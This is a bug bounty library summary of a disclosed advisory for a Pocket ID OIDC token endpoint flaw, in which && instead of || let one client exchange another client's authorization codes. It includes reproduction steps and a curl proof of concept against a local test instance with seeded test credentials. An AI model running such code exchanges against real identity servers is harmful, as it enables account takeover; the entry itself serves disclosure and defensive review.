# Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange

Pocket ID's OIDC token endpoint used && instead of || when validating authorization codes, letting any client exchange another client's codes for tokens.

- Payout: Research
- Severity: high
- Program: Pocket ID
- Found by: dorakemon
- Disclosed: 2026-03-09
- CVE: CVE-2026-28513
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qh6q-598w-w6m2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-qh6q-598w-w6m2
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:high tech:go tech:oidc technique:source-review vuln:access-control vuln:auth-bypass

**Target:** OIDC token endpoint (/api/oidc/token)
**Root cause:** The authorization code validation condition joins the client-ID mismatch check and the expiry check with && instead of ||, so a code is rejected only when both conditions hold simultaneously.
**Steps:**
1. Run pocket-id with `APP_ENV=test` and `BUILD_TAGS=e2etest`; ensure test user authorized both Nextcloud and Immich clients.
2. Seed data: `curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"` (creates auth code `auth-code` for Nextcloud).
3. Exchange Nextcloud's code with Immich credentials: `curl -X POST http://localhost:1411/api/oidc/token -d "grant_type=authorization_code" -d "code=auth-code" -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" -d "redirect_uri=http://immich/auth/callback"`.
4. Observe HTTP 200 with tokens whose `access_token.aud` is the Immich client ID, though the code was issued for Nextcloud.
**How found:** Code review of the token endpoint validation at oidc_service.go:407 revealed the boolean operator joining the client-ID and expiry checks was && rather than ||, meaning rejection required both failures at once.
**Exploitation:** An OIDC client operator submits an authorization code issued to a different client along with their own client_id/client_secret; the endpoint returns tokens scoped to the attacker's client for a user who never authorized it. Expired codes can likewise be reused with the correct client until the 24-hour cleanup job removes them.
**Insight:** In OIDC code exchange, audit the exact boolean joining client-binding and expiry checks: a single && vs || turns two independent rejection conditions into a bypass for each individually. Test wrong-client-with-valid-code and correct-client-with-expired-code as separate cases.

## Proof of concept (copied exactly from the original report)

**Cross-client auth code exchange via token endpoint**

```
curl -X POST http://localhost:1411/api/oidc/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=auth-code" \
  -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
  -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
  -d "redirect_uri=http://immich/auth/callback"
```

